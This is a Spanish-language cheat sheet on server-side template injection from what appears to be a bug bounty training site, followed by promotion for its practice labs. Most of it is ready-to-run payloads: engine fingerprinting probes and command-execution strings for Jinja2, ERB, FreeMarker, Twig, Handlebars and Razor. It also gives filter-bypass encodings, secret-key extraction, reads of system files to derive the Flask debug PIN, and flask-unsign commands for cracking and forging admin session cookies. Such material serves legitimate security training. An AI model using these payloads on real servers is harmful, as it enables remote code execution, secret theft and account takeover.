Cheatsheet SSTI
Server-Side Template Injection
Referencia rápida
- →El arbol de decision: {{7*7}}=49? -> {{7*"7"}}=7777777 (Jinja2) o 49 (Twig)
- →Buscar SSTI en: generadores de PDF/email, sistemas de plantillas admin, respuestas de error personalizadas
- →Para Jinja2 con filtros estrictos, usar hex encoding (\x5f) o chr() para evitar _ y comillas
- →Twig sandbox escape: sort("call_user_func") permite RCE incluso en modo sandboxed
- →Si Flask tiene debug mode habilitado, calcular el PIN con datos de /proc y /sys
Deteccion y fingerprinting
Fuzzing inicial
${{<%[%'"}}%\Test matematico Jinja2/TwigSi devuelve 49, es Jinja2 o Twig
{{7*7}}Distinguir Jinja2 de TwigJinja2 devuelve 7777777, Twig devuelve 49
{{7*'7'}}Test FreeMarkerSi devuelve 49, es FreeMarker (Java)
${7*7}Test ERB (Ruby)Si devuelve 49, es ERB
<%= 7*7 %>
Test Razor (.NET)Si devuelve 49, es Razor
@(7*7)
Test Smarty/Mako
${7*7}Test DjangoSi muestra debug info, es Django
{% debug %}Jinja2 (Python) - RCE
One-shot RCE via request
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}RCE via subclass chain
{{''.__class__.__mro__[1].__subclasses__()[400]('whoami',shell=True,stdout=-1).communicate()}}Config y secrets
{{config.items()}}Django SECRET_KEY
{{settings.SECRET_KEY}}Filter bypass (hex encoding)Bypass cuando _ esta filtrado
{{request|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")}}Quote-free (chr encoding)
{{''.__class__.__mro__[1].__subclasses__()[396](chr(105)+chr(100),shell=True,stdout=-1).communicate()[0].strip()}}Otros motores - RCE
ERB (Ruby) - system
<%= system("whoami") %>ERB - backticks
<%= `ls /` %>
FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }Twig sandbox escapesort() acepta callback -> call_user_func("system", "id")
{{ ['system','id'] | sort('call_user_func') }}Handlebars (JS)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Razor (.NET) - Process
@{var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();}@outputFlask/Werkzeug Debug PIN
Calcular PIN con LFI
Leer: 1. /proc/self/environ (username del proceso) 2. /sys/class/net/eth0/address (MAC en decimal) 3. /etc/machine-id o /proc/sys/kernel/random/boot_id 4. Path a flask/app.py (del traceback) Calcular: SHA1(public_bits + private_bits) -> PIN
Flask session forgeryCrackear secret key de la session Flask
flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJ...'
Forjar session
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'Herramientas
SSTImap
Herramienta automatizada de deteccion y explotacion de SSTI multi-engine
python3 sstimap.py -u 'https://target.com/?param=test' --os-cmd 'id'
tplmap
Alternativa a SSTImap con soporte para multiples motores de template
python3 tplmap.py -u 'https://target.com/?name=test' --os-cmd 'id'
fenjing
Generador automatico de payloads Jinja2 con bypass de filtros
python3 -c "from fenjing import exec_cmd_payload; ..."
flask-unsign
Crackear y forjar session cookies de Flask
flask-unsign --unsign --cookie 'eyJ...' --wordlist rockyou.txt
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras
La comunidad
Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.